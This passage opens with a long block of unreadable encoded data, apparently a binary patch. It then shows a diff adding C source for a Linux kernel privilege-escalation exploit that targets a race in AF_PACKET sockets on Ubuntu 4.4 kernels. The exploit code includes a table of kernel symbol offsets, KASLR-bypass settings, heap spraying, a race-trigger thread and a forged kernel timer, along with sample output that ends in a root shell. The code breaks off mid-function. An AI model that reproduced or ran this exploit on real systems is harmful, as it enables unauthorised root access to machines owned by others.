zUqxsUmR0%Rqs%J#fB^|VT~z@r#=>ZH;}6l~`e-y3w~Iu+h1(QyU{z=lW|vT|SjIxL z22tMbx+6Jncab|POIo;ZE3^omZ}dczSMfmH@m*ms<}XYe>60dz(a;;A(h2i*&2s#8 z_`SjODov5#+rap3!-;qFk;HQRZIn&~?Xm<*Kb;3`j3IEI4))?)92#)|fbANZ3WlO` zam-77mi3K>hut73JG#Z>+lWQk6yek&ZVp%zbHR{w%D0$D!;0ZfMBJUgfXVF5!H zXa5@g?Bg&o&~xFWBCN~7Bgp*Cvc8WVaUxmk5KGCorj7U(1GS8L5!m=(FA;YqBc8wx zG9Zd#VKN0J3ynCNiqbs`C(i9OZJ0@9f)}9_vqy>|?(RePz~5WLcU#p59hl~;VsN}H zrg;46z|@rm#spp^IKRmxe2aJgNYkTHd_0_>X|36a z@*1M#2Y2lFa(H0R;Y~wva(XQCI}0`~OcxV}fjym@mZU{iA~q&{5gV1;Hir{BStQiI zX>o@5Sh~p+{FJD@vw&hPPopfsE zS}=`*rDWy#twTxU@>~aPTM3n8iSbVF$(90agLxaTD=rsyRurz0dsl{ck{v5mlyF@C z3*vi-9M_}kd!z_837_>F3D})=XtIv8xk7XM@TDRuXUj<8C(M}9jH0Dvaegblbrc_q zUSbJlq?-S`H`6zirq(iOW(Y%F^~sy;EM$WhYZqw!bo;>9|7IeY&^9J6*gI+N{D^g+;W4sx0yjexxgEuPyZ|3*l%}v1jo^)p>&g(8Ky$W%W^$bv;w7Xv+mK!|?~~&p-!ZwKV@NN# zE)4OK_@5k>%ySiXdEpg$tHa}MbUAfzTcgk3;PB{PpUdrTbkd_bg#?ah{uauM?sMsr+*5U% zr@nNOd#FedIQ2v;DJ2lBbvYeV8SK?XhHO4Zt%y@e`O)njhmFYVz6LziVz`WG9!HC- zm4G!ikEaoQusLgWuiInm0I;wS+aV>M-S6=@oIaFSlu)scI3@EXN~$|uKE1`}*4;Hs z9}m-h&`|3stZ67Nbk)^?4_2ScTG#0D`mF9IpJ3`xp|-TirQ)ByYK6J{{K{3-ZhTz=i|^E6MhqgZX=nnQ1Lc$|)Ay{)miS#Pj`L0~v> z9u-{c0*1{e;)AdDW|x=P%JoEC1a&&C}?!)ie`z2n~wH zLQ5&?#mHL=s*QwJUQ#~m8@(to5u-LEb1VqJNJm-*Dl-zOi2QdTb_+7@)tkX;sv{@0 zZt7j}PR+vQad?FUQhK1T@CU*ol76SH#gSi7pv{@Z`6NEcc#U4s1pK1zZTg&9(`q1q zQf#!C{z--J)MYQOBIw#AuRh5uQ;~dS2~_RxoJrnu^jh%D4z_VK67_7rBYE;T?5=ue z<27;qA|Fl7u6l?_{>n>NRxe*{HJ7idTE5J>vg)!*>%xl`Evme*0O_X0yRgz+VKrA* z7ifz-4hPkd-wD-NtJR51NP-fp4lj}-xnhfj>B<&WLyeU(S?BVjsWd_{3w%xJM8De# zUQ3Ip2`$0f(c(>{J;^HsLaJOBBy>6{xco_8XzNLCeUcqa#FMP$f0J$uOY)m@54AyZ zf{fLJ4RR!8Kw}!fI z(56#*;z`q*p_AKn^CGL%`%PxFslvbf{ z&x_Ni{D00fFAtaF=J&!g54DVDDq9ZTLfkcqyH6Y_PDV*K~jA9cm@r&+~ z8vV`JhKd(XB^E+h|FYm#?*S3iRPr@!n0aR1c!@8hfV%}9UU zRq?bHoM4H0@B_~Ry5j-=MFRcJoc|pO_>_JZCgvXC->ta+3cvgDWk$h7#qgh^;u$k% z&7O1a+!FJ`@`}nuiDC47sy0+R_0&`8F^m4t_fT9k;Ucb6wUdS-JY(o!Ep6P8Vfc_T zWDo*}X@e*Z$7Eb_8>wDEc?5-HC3Ctqgup{I{EdYxyx5)QztuI09>kv^5{$oz;R;XQ z#aAN+(Sqen`lAhzVEj!CXEeTH30~|viJrutArg$g_Pd7Qw2SMk0)!30~FQ?5M|lK~0AbeW&AUzr$&FXcev&8|+#+H*lfD z>u>f6i`V0D!#=?1k8B8S8Ejyi?(=nMD;%DdMz5HpsC76SVE`_7J3JV{!z3b0880o3 zm^r9L9Np`;H|TXR6LpMeY8zqd`_RS5LU^>JEg}p@J4RGq?P6QA-+|FD>{*&p5F_GR zn-7V1xG5i)1)#pa*-_`ykt8&9BTBK{kGDDuTgimbPz;yf1FRaqw?nIPVxZ>nyOAd~ z9-?t;9E+woTppXJvAKgrQLV6RMWL&lm|kf_B!{C(EBCm(-f1#99j0Lu;@fJcxtxe3 zN+^d~T7@d5;08^gbZF%+rxQgd77p! zSDRB)FMcOR6ZQs?Q?oSYXn=wU+Cq=331+yv5geOVpr3l0;u?o{U33a*(Mx$heV0tAcE~xHWY--*~aTB%bZ=qQQGe3ZvD4wWs zm$P15+0jztYQ{7&F`3L`w~!CA>EcMMARjF@XNNAv8^nJvkIqn;BqgFsY8_s?r_l|W zLtbOmy3kf@45ku4HH%&P&rLNptZ2^*$XAW4F2qM^k(#aJYpB$?dEB)XSGS+p{* zR!ucUa~U-bh@IDgG9ir>9+%H$cQv#45l1T`Fg(;@TpfW}64HB#JLI2vdt?i8NKboJnA>-wka*EL|xlGfD9XPQ^p0EyUkq z(d%q2q(g{!JXE#KfdYjhU^ZzAF*$F`9KJS}rzzI_)q7&|A4tDAWxPanA|}VAsMPrD z>L3nMm&O^vC5EcOIG0pboC}nzII!I26s2@vR>W2Z{i-J z+9jge8Kim)(YGOasg9t9r9EK$yK3T@r;bQV&p7G)(}(9|4jX^+8Rs-OUGA%E^sGUq zQKQG4mVL_L{JgQbLxzqVH(}CQfg7$nd-9a|r9W6uzIe&f)t6p&`46wS(z?cGuXWVb zH(u4$jH%>~Yp$i$Ao8MlFq%W8)l4~9J+kG-G>wj5r6pe4J72I(%E($j>>0ZD@jcA< z!+h^ASL2Xx*GWwN+sSqhUV9MI8O4w8rCM5g=HQG$hIHa_6}|uX4uTn(S%U^=58)_7 zhYcSw(v)-3$>7#0V{=bEZQSYO&zPW3Jo7Ax@bAL^;Y)A+(XoVcd*1^!48z+18chnCUy_(^&Sj_dN2a&f%V@r4!_g! z8;>7mGGvZ2UZmfP^m~zhFVgQt`umZ7FVgSD zaOcT1Z8+i&NBrT4Kl}}1ff^j7U2~z9)}E6#ZusEr%}6K@VaS8#J}nv*!<~^ii$>-y zF%4_W?$j2XHgEFGyfZ02;Z)%F;CRgG5WqY#=f?E%5reJ+A-qy}Eq*T|{0ZD+;pvYG z1PbrMuknm%6zq+M(=#p#|1Ey&5Pk^(6#euIWAUE_cq_ucrP@~E8DC})0>ytHzuV5l zcm(%YI6dQ{@Jy8VCkTIw04jd^!5IBKgkONx_3OlNdd5ZZD-ixN!fzvhicinDD7+To zi}J8AlmIF`eS3_47sAP1pxD{0!ZV&pQ~Ccb!Z)8Cjarl9Ulxo1EW%$z_-~TJ|0fpy zKEf|JCmMYo_gMNFI|cnbfHEOe-{eQ5pC`tz3}mE#BuEfclw&IJb{9mWLz3uZ#`0N> z@P{WyqqJQ&p3bybcr(I#r(hn32&!_XZ;j>iW`tik6>^jmzcd#A0fcu>!<-N9vG^HU zIuW39{1tG=^l0?u#Q5j`D5E>`=B&UV$xy0~&w*zuHq=-8EwOxzh8zVD?ntDQu_l&} zSqR@fBN|-}TCsejFNwuph4AADe>N$fPm6p~l<&Kg(p5Od_cfpEBFH!ep(Zm{aLks`#B8!Z{Ic@)ssjnzA4}u4p(;tH^x(Nb=SH4cwevT zj#(g3)^L3|_^#rqdppDRh0L*so)tkw=SfcNdtBDk7RFn_c%6)QxHK7Wx1wj3^b}tI z9EsPtP15UUyfuucJuK68&r8P3eL?2bh^Nm_#w$yKS7yL#NP)M8@iue*HZxw1;>*MD zi;NszDAQGV+Y~(mo>rcmzr!i;$_#kff0O0yH_+>>Or}@Fcq`=6b0|WYzZHv<@m48% zYq>stB=K_W`640rXRafp1H`-l%@7i;j z5I#gx{d97=Lp9Z3B*TYk`#ws9$YgO`> z;bZqd2BL$JO}yWWrI3No9SQwm0(_LV=8J*ojE>=`2a=9V?bGkbA=wWD!HELKIp5*K znF9V@K9GQ=;qy~Y1P=*UIiAyDimVu%0K{V@!#5k?s~LXS0CxhOhA&U5ysDjD$M6Q` zgVZY6>!;`|0N&}k9Y3Pe$@r>aq~gQf0)M#HV5r}R1bmoQb`%c@*LFNpc{R2JR8S>A z1M&G*#&^o@4SAE-ml)s@9T&sTV)!e#4@Bp^6!4Ezz>fi*hHs2(4&njVKRIE1f*+8+ z%4ho|iLdfW{v;`%9R~R790||h{OdBBHa-RYZgkfJm5X+-4g^0p1-vo^d}Rvw6)E8L zDd1P9fM1sazA**-mK5+iQ@|Df`wNo!zvbWHZ<(BoPlw13#LulM;IxlmAbc7F4+N)^ zz6XN8nF3B@>Vfb-NdZ@U$eWg2u0LfAOy~0ybiPdiAB3?cwTlKZs}mn@(UHWWy%^xR zfDe@a2`S)HQo!j@;eqHZOaWh#0)9aXxZ>N$>B)S%?0fJ@Pwq45ReK8jS5m;6QowJ; zK$z$sFwnmm_yj*}fZvjW&NV6EQ_z15#LuHC@VipL*NA+ctSLJ)EZL_$eUi+l#`a(~ z+k@RH=-dG~>B*00N&-&EA6;7*e%WmKuFISDJBDAw@Ocb>1RWL8d6eN}8U7&S|CQlC zWB9`iuMv}in)V@2NYLgvl4tFZM1;B)R}bS?ndN&eb&R-ZPKfYz#^1;J-w*ged_Kf< za;s(hDe|U$$nbK8w=w*a6m-61{Ph=0#G4tPPVXKl-C=+efBtldMEqaIKRE^dIL6;X zh6k=bq(@gl3j7%<;PX<9mUrcst+8ubOE06;JX27Z4 zWq+j$JY_chBnAF2Qo!#AoYH;2PLP2GFRzDE;L~Yo1J&bRrqfg}UT&$=dH<_FBbDFr+~1^m1e zaHY2+E?FQ|-sLIqR|8J@EHdQNngaj16n2+N_it{QF4!Wj`V@4oP659r1^k8-@a`1w zJ5#{#Ndf-@;3NvoAZj?={{3&;=J(KosXi0MOy=NsU^V7P98)BMFi>D~i4rCW4| zO!ralcmBw9)-atM$RAyQ7I2K$`sDk3dDEU`I{kM^fTHsp(KfGfVuenj$3>Hil};J=vy z9!UZJIt85c(?D{Vn*x4j3i#v{@EIxK^HRVoQ^1#{fM1dVz9t3ysuXZ<3i$dI@GDP} z`lOyFpm2#b0=WC3S4f`kHOSk|phNIG4Dxn6!#5f5f5q_42Kc=U-(rB1{1E*v1O2VQ zAE zq|E<;y)xrUuiljc|K1dErI%iOUeZzeoZbe?51qc8rhRuFemCH>b-_5#e=r67;}r0J z3HoS!{W=khU89E3<9F$om^AH7)MF<%(5E=Y*}y*;@aJbp0MNu$f<;b*f5S8KoreKh zA>;r3j}ra^X2b%97xB0cY!}xefar5e}%khuLDl>f5-+nUd45k@te3p#2P7t*zr#Ir(PxT9_EJeE#qG^Ny39% z-l1R_)uYaQ=3p(C;Gol4DDm+st~`dn>67nZm$;@eTz%iXkm2(gZsKw&zEuED`TUaU zD>{QQaU}RzF9|%x`LtmiK>4ZR`L3IozJ<#*u0R6rXZZP??wflh;8BJjWcmN~WC>7m zcq!w5%5=CHXloe$GnVIbnNAbKZ{~V|`6@0y!_Q#(;o*yR1K=k?&JP>(`HhT!E%QH@ z>6{69q4I9NTmoo*nXVrJpZIefr)!d6Z41#sJ>K|d38-ZFgOqOiC~eD-i2|bd|0t(B z!y^&ZIPoclo4B2-dZ7i3lpo=72vJmdUtst+u1A&sHyJ*b8GnfL^AW=wo1gsj6av*zC999$8a;l z-+W#ISWRdbGrY;ohc7{Z}jq$H%c$*`c&IX2m=92Kq9DEDIvskW_ z-na|!lhQGt%=V0;_B(>3#@6)f0z~Vs>G}iH`E-hWrz3LddW7JRpZ{eBoF~EBUl@ND zw_hc1I{`l_eT3G2RA)?i`!mzvO`9J-(AWS~D{`MiqZw1h&6(EJjQU_ zA0&Jp=kr^Jk2UC%EY=TQy^Jq!nu+1O?M@SGEfF>W@H0_fboS(mpl=L&X-Ep(gmQa3>u5li6BoZRHG2PWn z-zev67(RmMtMB1-uVVO1dnEv7s<^xizm?mIYS-5>{5bS0T})03GTg`b9IV|6ILV=L zUBNFI|A(BeUy{?7fe%!!k6F%DetysRfBd6FRDAve!wcAMVKQPtH_3S!%Xu~j{FU+b zDH8A!!}kMDdiWu3FUoE_!uY4N{4_BBQNYPQG0y9L&G^~qPv~OvNE-}$faK?GuHUsX zSUZ{R1S8)j0Z#Od^T2bNj#?*l3e%}%_>PcyXW~`L^o@2x1;cw-V5f1UYK9xzqmAK4d(y-3oduGBs^50NsXfl>*F}J8U!8zc zdpFLb-okL>dX-->oqVRFsZi#J)syx(;G%w6Z?HPhdKs>5miQkq z|6Tw*2Xb!gmtSZ6!7MmxJ|xWWD%1mAzm_-cn{=6OjX}>JWBk|mNJLd_+tCiGTw7QU z)qHFY=u-Yi@jQ%bclQ8Jdc)XWPG|g?g_8a_&d)@^iT;|$Bw#kfix_|N6%ud`!_Q^7 zaa>u(@E0GDh(X3b?_^2;`UfQ-m*E!1U;T&#+{f^X82;sC2~g>-0i5z_tjD{U{@<;~V?0PNu)kB@tEsatp%`b9slde)~DY$ullp%HH@5-~;jbe#jx!%l*?NK3>K3 zAkzsq%Jz}h!PyeUkm$= z^0V140cu>lpXfuL_cFd(kNGC2`}6xH{@G0D2*W?*a-GKTCq~P9+3S>mM;Ttr_{RD= z4mj1LQSW8t$b8;dFA1pe-Dtq6ypM2smEIV~_#@Z=hk6&+RKTfTjQm+5=$x!s40_{Y zz$rh*^rKIl&;aP_$A{X zu9f(=Go5=FUd9S$9>X7CI!{zfz^)+wbj)}CRw#&A@V zxOOvr3jKA_~iHBEl9b)*c&&&58FxY!v5*#a-(IKGkn7+aaoc{{=Yl$GDE@ zqq6CONM0i}n_$7NJT-DblfK$1Q>&ogFKf@r;euAT&wy>R3%IU6UeA9FZV704V z2L(d(f6R(A$oK)qU&akZ?7c(SEd&I-*%whc78GqDY7{K!LJAxxW^gV>Ge0kFz zWc*v0@i2qMwGD8pUoAs2sFU?gFXO+&2F?to|2or;aCsSB`w(y{mvNoIXG|yaDw&?r zpPA?vs9yT7l<=AIrVV5GM=apCF&slR)cbeWb)U-pi&0+{15Wl#QNJ!ID7l@>^o{-9 zLWXY%$ONs-pk)j%ds4#xA#d8nfKz#m>AD$iv}4r0BCAQ1Y;w;d{18e5D6oR``=8oST7m zh~ec|OE}bmxIP4&_+uRJ9A~(3Ju{8R2)~TeRqY}daFUZ(Sa3dP`gsgD&O;V3+(@Sg z@ElMw>Wx>R@JXM{9m)!V>7UDVjPvb_8U8u*LCOD8z$yR6dBqyWSNlzLrvE4yMddQ~ z3vR|Y>fyBvH={k#CHA)B-UT?d-))Be_YTHi!+HkhtGL#qqAA@SL*%>CC-*V_XFLE^ z_4o+W@62ZYupW4d@r`z`iOaQ_8KdN65AdnqH;%_&V>-rp-NOvm#>sq&J*s#-&hYbD zv2m~#1)TVA)aRqn&x-Q0-c$YQX@C=cYq6w%i@a%*8UO7)5>Uts{kiH_k5uX3J`B` z-2gc0!xaYj&j2U>^#4@i&1L*wGW@YWNx-!Xzn|efY=5F(1(vHvdyna)@pwwv!?&Veq5K%f z5jQa0IPUnI>AYuX7nvwHrTf}0$(YgHE`|e6^NK~RPgFiX;e5X2miWr#odEe!|-4H zQNq!z#B~+JpW^~8WcXUZiJwM0P4n12zT!f=hMU(1$1QlYTFX~0ztCD;wQ`l!inofS zw@Qn3(S_!v@ReJ+xM~>?YT=NF9dP7TtIgl8#k?IC z&YnGUrbYqQ#@cpzo2}J(;DyOr>u+i4&|EcF!9fh*vu3O8R4%I!xsi#hw|FY#{fkp+ zfM=i@mzCVMqB!K3%-(?qau4cqQVHRD%kS_O&X`#;7v!58YwT9xT-8eM$`CFxQH&sX zcX7I`aEc+E1Q9XdGAX$EvU(hp0{mr=pK34s4C9U63rj3=41*`XQ}~RPxSr-lcrlaV z!9DBWAtov6b{ zO%rb9Al%(pi>DfL_klYVMYw5)uWR|x1b5#EfcthhMnW?3S$G_ay*X`!VsC(dRtkoH zCEV)B3%E$EuG#NxAPBk9!rfIz==f`GfXg1u?S~V3n+G5-ocj1FZfl(zE?|9BLvEMb z3TIwgU5n4^r@{lS!STER)Va0x+Q#}upI4I+tmLRzGxsEc9);*34vB~BSH_%Aa+wcsu+o`qHcft0mk6%K8wZtQ}z-R?#p)gB>B zkM>sSq8NZiXQK~3=9?WNx)fn+5vaq#zSUk_%n-uhN1qq9z+|p+3BgydsAK6BjB1r? zGZrBI`6oc&S)OqLY;EDZ%LfPtJdOd53Uv5|$l*yoG?V8$1d;zHa(0GCqzVU4^#V^m zOH@3!3m{s%e8yn}%?<}~1#Q&X+6d1~;#n}k*DTrwa^7f1?Sn0VXwDxqOZHBa=anZ2}BE%~^tT99rd@G(?bgl+BZiRT5t-=2lJm2@a(3cJ-MaO%$zy9M8umpb50RbuXEdRl!F&e@<~b|P>uCYcxR^< zyUX1{uk>8!A&1j=AgB8^Tv$91sKr*>+9+Cd3p{L**L4EI*PGN&HE1+#R3PvGe$Aoo zrO3=Inmb!-sew~?!N@kK=aw2u0UAX(nZq;bHg6Mp3a5keTFZ(8k5DO&x@KEFRitbW zB)8&)oZ5l^ZQ=#0qfvM*5*bAK#5;*pLNE)O3Kh*>1w-*jJsb;gH#Fhz-qu9Qv-IdTW}PuT|8K=!XG2IV{eDk&Ygff<^rL$s2p&! z-KSAV4IPc6&}8FIa?^wi*z0{l&^6)2sSa-Z$g8hQwGrY6d@BOc<7jJi@-yKAgqnvt zG}6h`oNCZR6qn4HCHfz*6KxEyvtzXjls1?OvMv=z;a!u2LTG-Wf>39qdPObRe6B_W zdL1nyi~Q(@*GYa+(g5R^sf9Rpy1&m1OWFpvjorS0PB+3QC4q-2+ax1?ozx zv({PEzEt#+>}4DBc!7878u0vv>MTWy zQgHCdI>t&4AQ4MwOA#Fv1z*l6k8GM6niW)mRh>`)98pv%6yeJ z8BKIsR%=6>9Ym$_m-Y>54lX~Q(0zzLAK51xRH_5n&m*_WNJB`1V*E}`fDbsfK}4s_ zB;|%R1OlaiYq2V}E6IdUQOY$+@5KQH@frt<40SFPhr0vltu3No#}jcz@WpCfwY1zS z?OZ7*UQyy^L0zDzt`iVpqbs9WsYqjbRyHr8mr<}b(JfO2#eRKgmJDK|&0r!jT_3_RvTo zMVbOShg1#%A>39rS!^i2hBG|MS5;e~1S&OY0Be+at2*OIb}p;{DLy&~r)*K;Gz2T8 z(@y22?ogNngahvQld3(j9g~^Ql*k-```$WX>H?nLXrE!lCp(e!DcH8e_626QYM<%rBq++$*h!5?00o4qq| zBT*vzovb#B09U(-+C>-=?eLr~#Vw|~5!0sZWFnRzMd+cACY zZxekn#L(o)Jz_3L9@`VkS5iZe9Vg09>`;wQN&?1{tfAx0m<5!?T^NpR)yEMipQLZd z5Fq=85j3lV+*l)fNhY|QkO5Q(EZI1TEnJpgSjU7CGalPK)X+SV@r`ndi4;4$ztnA;M{j})6^C3<}vgu(+F z(2N^5as>Y!_W3-1I9`rTR8clq?V{r%?SLb}FlfWfmPpD`->SyI37rD#AE`>f8Lbcu zr4fB0iI2E9s3$l+Z_o;BJDkLGamS2NA(Xd`UbI4?TnpXJzQTH!Pb(CI#zGnj0m&sq zwb0RE6;rEPp_n2C6?A@H+#twA35bF+{EOQ)B17b4uvQ2)hj=bbfngTyzi`oaAo}FQ zpJihH%hb9VOyi47g{yga^<9|0ZVkgvg)2X2>Ru$H3%{H+<*wrAGMv7XX5gpdZ{c}) zb?49Vj7@uyk}vuUMR`&2?`4G8oroud8`GbMFp4sWkZ`GWh3Y;+f@6P;>2F3zV*EAy z{Z8Ha^GYnfdRKR|A--_+fh zp0WHFb9}{rhdr.bh1.offset_to_first_pkt = 48 +*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* +please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. +closing socket and verifying....... +vsyscall page altered! + + +stage 1 completed +registering new sysctl.. + +new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 +sockets allocated +removing barrier and spraying.. +version switcher stopping, x = -1 (y = 30773, last val = 0) +current packet version = 2 +pbd->hdr.bh1.offset_to_first_pkt = 48 +race not won + +retrying stage.. +new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 +sockets allocated +removing barrier and spraying.. +version switcher stopping, x = -1 (y = 133577, last val = 2) +current packet version = 0 +pbd->hdr.bh1.offset_to_first_pkt = 48 +*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=* +please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. +closing socket and verifying....... +sysctl added! + +stage 2 completed +binary executed by kernel, launching rootshell +root@ubuntu:~# id +uid=0(root) gid=0(root) groups=0(root),1000(user) + +*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= + +Shoutouts to: +jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI) +mcdelivery for delivering hotcakes and coffee + +11/2016 +by rebel +--- +Updated by +- check number of CPU cores +- KASLR bypasses +- additional kernel targets +https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655 +*/ + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#define DEBUG + +#ifdef DEBUG +# define dprintf printf +#else +# define dprintf +#endif + +#define ENABLE_KASLR_BYPASS 1 + +// Will be overwritten if ENABLE_KASLR_BYPASS +unsigned long KERNEL_BASE = 0xffffffff81000000ul; + +// Will be overwritten by detect_versions() +int kernel = -1; + +// New sysctl path +const char *SYSCTL_NAME = "hack"; +const char *SYSCTL_PATH = "/proc/sys/hack"; + +volatile int barrier = 1; +volatile int vers_switcher_done = 0; + +struct kernel_info { + char *kernel_version; + unsigned long proc_dostring; + unsigned long modprobe_path; + unsigned long register_sysctl_table; + unsigned long set_memory_rw; +}; + +struct kernel_info kernels[] = { + { "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 }, + { "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 }, + { "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 }, + { "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 }, + { "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 }, + { "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 }, + { "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 }, + { "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 }, + { "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 }, + { "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 }, + //{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880}, + { "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 }, + //{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880}, + { "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 }, + + { "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 }, + { "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 }, + { "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 }, + { "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 }, + { "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 }, + { "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 }, + { "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 }, + { "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 }, + { "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 }, + { "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 }, + { "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 }, + //{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320}, + { "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 }, + //{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320}, + { "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320}, +}; + +#define VSYSCALL 0xffffffffff600000 +#define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring) +#define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path) +#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table) +#define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw) + +#define KMALLOC_PAD 64 + +int pad_fds[KMALLOC_PAD]; + +// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * + +struct ctl_table { + const char *procname; + void *data; + int maxlen; + unsigned short mode; + struct ctl_table *child; + void *proc_handler; + void *poll; + void *extra1; + void *extra2; +}; + +#define CONF_RING_FRAMES 1 + +struct tpacket_req3 tp; +int sfd; +int mapped = 0; + +struct timer_list { + void *next; + void *prev; + unsigned long expires; + void (*function)(unsigned long); + unsigned long data; + unsigned int flags; + int slack; +}; + +// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * + +void *setsockopt_thread(void *arg) +{ + while (barrier) {} + setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp)); + + return NULL; +} + +void *vers_switcher(void *arg) +{ + int val,x,y; + + while (barrier) {} + + while (1) { + val = TPACKET_V1; + x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); + + y++; + + if (x != 0) break; + + val = TPACKET_V3; + x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); + + if (x != 0) break; + + y++; + } + + dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val); + vers_switcher_done = 1; + + return NULL; +} + +// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * + +#define BUFSIZE 1408 +char exploitbuf[BUFSIZE]; + +void kmalloc(void) +{ + while(1) + syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2); +} + +void pad_kmalloc(void) +{ + int x; + for (x = 0; x < KMALLOC_PAD; x++) + if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) { + dprintf("[-] pad_kmalloc() socket error\n"); + exit(EXIT_FAILURE); + } +} + +// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * + +int try_exploit(unsigned long func, unsigned long arg, void *verification_func) +{ + pthread_t setsockopt_thread_thread,a; + int val; + socklen_t l; + struct timer_list *timer; + int fd; + struct tpacket_block_desc *pbd; + int off; + sigset_t set; + + sigemptyset(&set); + + sigaddset(&set, SIGSEGV); + + if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) { + dprintf("[-] couldn't set sigmask\n"); + exit(1); + } + + dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg); + + pad_kmalloc(); + + fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); + + if (fd == -1) { + dprintf("[-] target socket error\n"); + exit(1); + } + + pad_kmalloc(); + + dprintf("[.] done, sockets allocated\n"); + + val = TPACKET_V3; + + setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); + + tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); + tp.tp_block_nr = 1; + tp.tp_frame_size = getpagesize(); + tp.tp_frame_nr = CONF_RING_FRAMES; + + // try to set the timeout to 10 seconds + // the default timeout might still be used though depending on when the race was won + tp.tp_retire_blk_tov = 10000; + + sfd = fd; + + if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) { + dprintf("[-] Error creating thread\n"); + return 1; + } + + pthread_create(&a, NULL, vers_switcher, (void *)NULL); + + usleep(200000); + + dprintf("[.] removing barrier and spraying...\n"); + + memset(exploitbuf, '\x00', BUFSIZE); + + timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8); + timer->next = 0; + timer->prev = 0; + + timer->expires = 4294943360; + timer->function = (void *)func; + timer->data = arg; + timer->flags = 1; + timer->slack = -1; + + barrier = 0; + + usleep(100000); + + while (!vers_switcher_done) usleep(100000); + + l = sizeof(val); + getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l); + + dprintf("[.] current packet version = %d\n",val); + + pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0); + + if (pbd == MAP_FAILED) { + dprintf("[-] could not map pbd\n"); + exit(1); + } else { + off = pbd->hdr.bh1.offset_to_first_pkt; + 